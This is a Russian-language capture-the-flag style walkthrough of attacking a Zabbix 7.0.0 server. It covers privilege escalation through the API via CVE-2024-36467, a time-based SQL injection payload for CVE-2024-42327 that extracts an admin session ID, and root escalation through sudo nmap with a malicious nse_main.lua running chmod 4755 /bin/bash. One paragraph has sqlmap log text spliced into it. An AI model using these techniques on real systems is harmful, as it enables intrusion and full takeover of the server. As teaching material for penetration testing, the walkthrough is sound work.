
разбор cve-2024-42327
цель: 10.129.231.176
Информация: я знаю, что моя цель — сервер Zabbix. Я получил стандартную учётную запись пользователя для входа в Zabbix: пользователь matthew, пароль 96qzn0h2e1k3. Эта учётная запись имеет стандартного пользователя, без групп или дополнительных привилегий.
Как обычно, начнём с перечисления, сделаем сканирование портов с помощью nmap.

Вывод nmap показывает нам, что стандартный порт SSH и Apache2 также на стандартном порту. Также есть порты 10051 и 10050, на которых работает какой-то сервис Zabbix.
Зайдём в Zabbix, указав IP в URL браузера на стандартном HTTP-порту, порту 80.

Это экран входа в Zabbix. Войду с полученным пользователем.


В нижнем колонтитуле я нашёл версию Zabbix:

Используя «отца всех дураков» (Google), я поискал, есть ли уже какой-нибудь CVE для этой версии Zabbix.

После длительного поиска я увидел, что эта версия уязвима к CVE-2024-42327, который описывает эксплуатацию SQL-инъекции для получения данных из базы данных и повышения привилегий, и к CVE-2024-36467, который позволяет изменить роль пользователя на суперпользователя, злоупотребляя отсутствием контроля доступа.
https://nvd.nist.gov/vuln/detail/CVE-2024-36467
https://nvd.nist.gov/vuln/detail/CVE-2024-42327
В документации Zabbix есть инструкции, как делать HTTP-запросы для вызова API.

https://www.zabbix.com/documentation/current/en/manual/api
Я отправил запрос, вызывающий apiinfo.version, как написано в документации.

Что вернуло следующее:
{"jsonrpc":"2.0","result":"7.0.0","id":1}
Для следующего теста я изменил несколько параметров в этом запросе и отправил снова.

В method я изменил apiinfo.version на user.login и добавил параметры username и password. Это я тоже видел в документации Zabbix.

Вернулся токен:
{"jsonrpc":"2.0","result":"9566174b00c9c3ca552abc1a52d670ba","id":1}
После ещё некоторого времени поисков я решил зайти в репозиторий Zabbix на GitHub.
https://github.com/zabbix/zabbix
Я поискал CUser и нашёл файл CUser.php.

Мы нашли функцию user.update:
public function update(array $users) {
$this->validateUpdate($users, $db_users);
self::updateForce($users, $db_users);
return ['userids' => array_column($users, 'userid')];
}
Я не нашёл никакой проверки авторизации, поэтому решил изменить свою роль на роль суперпользователя. Вернулся к запросу и подправил полезную нагрузку.

Вернулась ошибка с сообщением invalid params.
Проведя ещё один долгий анализ кода, мы нашли эту функцию:
/**
* Additional check to exclude an opportunity to deactivate himself.
*
* @param array $users
* @param array $users[]['usrgrps'] (optional)
*
From this snippet, we understand that we cannot change our roles because our role is checked
from extracting our data from the API token, and verifying against the database if we are that user.
But following the code we see that usrgrps has no validation at all, and therefore can be abused
to add ourselves into multiple groups at once. As long as the group is not disabled and the group
allows GUI access we can abuse this to change our current role with the following command:
User ID 3 is matthew , User group 7 is the Zabbix administrators group and user group 13 is the
Internal group which both hold unrestrictive privileges. The response indicates that the change
was successful:
* @throws APIException
*/
private function checkHimself(array $users) {
foreach ($users as $user) {
if (bccomp($user['userid'], self::$userData['userid']) == 0) {
if (array_key_exists('roleid', $user) && $user['roleid'] !=
self::$userData['roleid']) {
self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change
own role.'));
}
if (array_key_exists('usrgrps', $user)) {
$db_usrgrps = DB::select('usrgrp', [
'output' => ['gui_access', 'users_status'],
'usrgrpids' => zbx_objectValues($user['usrgrps'], 'usrgrpid')
]);
foreach ($db_usrgrps as $db_usrgrp) {
if ($db_usrgrp['gui_access'] == GROUP_GUI_ACCESS_DISABLED
|| $db_usrgrp['users_status'] ==
GROUP_STATUS_DISABLED) {
self::exception(ZBX_API_ERROR_PARAMETERS,
_('User cannot add himself to a disabled group or a
group with disabled GUI access.')
);
}
}
}
break;
}
}
}
Согласно этому фрагменту, мы не можем изменить свои роли, потому что наша роль проверяется путём извлечения наших данных из токена API и проверки в базе данных, являемся ли мы этим пользователем. Но анализируя код, мы видим, что usrgrps вообще не имеет проверки, и из-за этого отсутствия проверки им можно злоупотребить, чтобы добавить себя сразу в несколько групп. Нет никакой проверки, которая бы помешала пользователю добавить себя в группы, к которым у него не должно быть доступа.
Попробуем повысить привилегии, используя это отсутствие проверки. Я отредактировал полезную нагрузку и отправил запрос снова.

userid 3 относится к ID пользователя matthew
usrgrps содержит список ID групп: 13 — это группа Internal, а 7 — группа Zabbix administrators. Ответ сервера подтверждает успешность операции:
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
Теперь мы можем извлечь группы пользователей для нашего текущего пользователя. Изменим запрос и отправим снова.

Проверив ответ, мы видим, что пользователь с ID 3 находится в группах администраторов Internal и Zabbix.
{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"8","name":"Guests"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}
В сценарии, когда группе администраторов Zabbix была назначена допустимая группа хостов, они смогут использовать создание элементов для запуска удаленного выполнения кода, что будет рассмотрено в следующем CVE.
Анализируя исходный код в классе CUser снова, мы исследовали функцию user.get на строке 68. Строка 108 содержит проверку со следующим кодом:
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
if (!$options['editable']) {
$sqlParts['from']['users_groups'] = 'users_groups ug';
$sqlParts['where']['uug'] = 'u.userid=ug.userid';
$sqlParts['where'][] = 'ug.usrgrpid IN ('.
' SELECT uug.usrgrpid'.
' FROM users_groups uug'.
' WHERE uug.userid='.self::$userData['userid'].
')';
}
else {
$sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
}
}
Из этого кода, если опция editable передана в запросе к API, то вместо проверки группы пользователей проверка будет только подтверждать, что ID текущего пользователя соответствует текущему пользователю, что игнорирует разрешения при использовании функции user.get. На строке 234 выполняется вызов addRelatedObjects, который является уязвимой функцией, подверженной SQL-инъекции. Анализируя функцию addRelatedObject на строке 2969, мы видим, что большинство SQL-инструкций выглядят безопасными, пока не доходим до строки 3041.
// adding user role
if ($options['selectRole'] !== null && $options['selectRole'] !==
API_OUTPUT_COUNT) {
if ($options['selectRole'] === API_OUTPUT_EXTEND) {
$options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
}
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.',
$options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
foreach ($result as $userid => $user) {
$result[$userid]['role'] = [];
}
while ($db_role = DBfetch($db_roles)) {
$userid = $db_role['userid'];
unset($db_role['userid']);
$result[$userid]['role'] = $db_role;
}
}
return $result;
В этом блоке, если указана опция selectRole, то выполняется небезопасный вызов функции DBSelect без санитизации пользовательских входных данных. Это приводит к SQL-инъекциям на основе времени и Boolean Blind.
Чтобы это проверить, мы взяли полезную нагрузку из этой ссылки и проверили, есть ли у нас успешная точка инъекции в параметрах selectRole.

Мы получили попадание, и цель засыпает на 5 секунд.
{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew","role":
{"roleid":"1",""r.name and (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real 5.12s
user 0.00s
sys 0.01s
cpu 0%
Используя Charles Proxy, мы перехватили запрос и сохранили его в файл со следующим содержанием:

Теперь, используя SQLMap, мы попытались идентифицировать возможные уязвимости и извлечь данные из базы данных:

Через некоторое время мы получили следующий результат:
available databases [2]:
[*] information_schema
[*] zabbix
Согласно выводу, мы успешно получили имена баз данных, эксплуатируя SQL-инъекцию на основе времени.
Теперь попробуем RCE (удаленное выполнение кода).
Мы можем использовать неправильно настроенные агенты для получения удаленного выполнения кода. Чтобы сделать это из SQL-инъекции на основе времени, нам нужно извлечь таблицу сессий в базе данных, чтобы увидеть, был ли аутентифицирован пользователь Admin. К сожалению, поскольку это атака на основе времени, это может занять некоторое время, поэтому я включил многопоточный скрипт, который извлечет сессию администратора быстрее для последующего использования.
Полезная нагрузка выглядит так:

Это вложенная SQL-инъекция на основе времени, где мы внедряем нашу полезную нагрузку в параметр имени, добавляя AND для связывания условия.
SELECT * FROM (SELECT(SLEEP(...)))BEEF
Мы используем внешнее условие SELECT, которое оборачивает условие SLEEP в подзапрос с меткой BEEF.
SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE
userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0,
{TRUE_TIME})))
Условие SLEEP принимает значение TRUE_TIME в 1 секунду в этом скрипте и извлекает sessionid активной учётной записи администратора, которая была аутентифицирована на сайте или API. Условие SELECT выше извлекает первый результат с индексом (ROW) 0, который помещается в условие MID. Мы используем условие MID для извлечения символа на определенной позиции в sessionid, который увеличивается и помещается в условие ORD. Условие ORD преобразует извлеченный символ в значения ASCII для сравнения и помещается в условие IF. Условие IF [17:26:03] [INFO] автоматически расширяет диапазоны для тестирования техники UNION query injection, поскольку была найдена по крайней мере одна другая (потенциальная) техника [17:26:04] [INFO] проверка, является ли точка инъекции в параметре POST (пользовательский) '#1*' ложным срабатыванием. Параметр POST (пользовательский) '#1*' уязвим. Хотите продолжить тестирование других (если есть)? [s/N] n sqlmap идентифицировал следующие точки инъекции с общим количеством 77 HTTP-запросов: доступные базы данных [2]: [] information_schema [] zabbix name AND (SELECT * FROM (SELECT(SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME})))))BEEF) SELECT * FROM (SELECT(SLEEP(...)))BEEF SLEEP({TRUE_TIME}-(IF(ORD(MID((SELECT sessionid FROM zabbix.sessions WHERE userid=1 and status=0 LIMIT {ROW},1), {position}, 1))={ord(char)}, 0, {TRUE_TIME}))) проверяет, соответствует ли извлеченный символ ожидаемому ASCII-символу ( ord(char) ). Если условие выполняется и условие SLEEP срабатывает, то мы идентифицировали правильный символ и можем извлечь 32-символьный sessionid
Я написал скрипт на Python и выполнил его.


После выполнения скрипта мы видим, что успешно получили сессию администратора всего за 30 секунд.

Используя токен API пользователя Admin, мы можем перейти к созданию элемента, а затем запустить элемент через задачу. Сначала нам нужно создать элемент, но для этого нужно получить текущие ID хостов вместе с их ID интерфейсов.

Мы получили ответ:
{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server","interfaces":[{"interfaceid":"1"}]}],"id":1}
Теперь мы можем создать элемент со следующей полезной нагрузкой:

Прежде чем нажать Enter для полезной нагрузки, мы настроили слушатель nc на порту 4448 и подождали несколько секунд.

Теперь время нажать Enter для полезной нагрузки.

Сработало. Задача была создана с нашей вредоносной полезной нагрузкой, и мы получили RCE (удаленное выполнение кода). Теперь у нас есть доступ к серверу.

Теперь, когда у нас есть доступ к серверу, перейдем к повышению привилегий. Попробуем получить root-доступ к серверу.
Поскольку мы работаем под пользователем zabbix, проверим, можем ли мы выполнить какой-нибудь демон (программу) с правами sudo:

Мы видим, что можем выполнять /usr/bin/nmap без ограничений. После некоторого времени поиска в интернете я нашел проект GTFOBins. GTFOBins — это репозиторий, который перечисляет бинарные файлы, найденные в системах Unix/Linux, которые могут быть использованы творчески для повышения привилегий, побега из ограниченных сред (таких как chroot или контейнеры) и выполнения вредоносных команд.

https://gtfobins.github.io/gtfobins/nmap/#sudo
Попробуем использовать побег sudo из GTFOBins.

Похоже, что Nmap защищен скриптом-обёрткой, дополнительным уровнем защиты, реализованным для ограничения использования потенциально эксплуатируемых опций в Nmap. Попробуем прочитать файл /usr/bin/nmap. Откроем его с помощью текстового редактора nano и проанализируем этот файл.

После долгих поисков я увидел, что все побеги GTFOBins бесполезны в этом сценарии. Реализована обёртка для защиты Nmap от распространенных методов повышения привилегий. У меня не осталось вариантов, и я пошёл читать библиотеку nmap.
После длительного чтения я нашел кое-что интересное: опцию --datadir.
https://nmap.org/book/data-files-replacing-data-files.html
--datadir <dirname>: Specify custom Nmap data file location
Эта опция позволяет указать каталог данных, где хранятся стандартные скрипты и другие важные элементы nmap; по умолчанию в данном случае это /usr/share/nmap. Проверим права доступа к этому файлу:

Исследуя эти файлы, я увидел, что файл nse_main.lua является стандартным файлом скрипта, который может быть запущен с параметром -sC. Это главный файл скрипта Nmap Scripting Engine (NSE). Он содержит функции, которые выполняются, когда Nmap используется с опцией -sC (сканирование со стандартными скриптами). Создав вредоносный скрипт с таким именем, можно заставить Nmap выполнить его автоматически. Чтобы использовать это, создадим новый файл /tmp/nse_main.lua с os.execute("chmod 4755 /bin/bash").
Я создал файл nse_main.lua, содержащий команду os.execute("chmod 4755 /bin/bash").
4755: Устанавливает SUID (Set User ID) на бинарный файл /bin/bash. Это позволяет любому пользователю, выполняющему /bin/bash, иметь те же привилегии, что и владелец файла, то есть root.


Когда мы сканируем localhost с включенным -sC, мы устанавливаем /bin/bash в SUID и порождаем оболочку с эффективным UID пользователя root.

--datadir=/tmp: Заставляет Nmap искать свои конфигурационные файлы и скрипты в каталоге /tmp. Это включает вредоносный скрипт nse_main.lua.
-sC: Включает выполнение стандартных скриптов, включая только что созданный вредоносный скрипт.
localhost: Заставляет Nmap выполнить сканирование самой системы.
Скрипт nse_main.lua выполняется Nmap с правами root (поскольку команда была выполнена с sudo).

Теперь, когда SUID активирован, мы можем выполнить: /bin/bash -p

-p: Сохраняет бит SUID и выполняет bash с привилегиями владельца (root).

uid=114: Идентификатор пользователя zabbix.
euid=0: Фактически работает как root.
Теперь мы получили root-привилегии.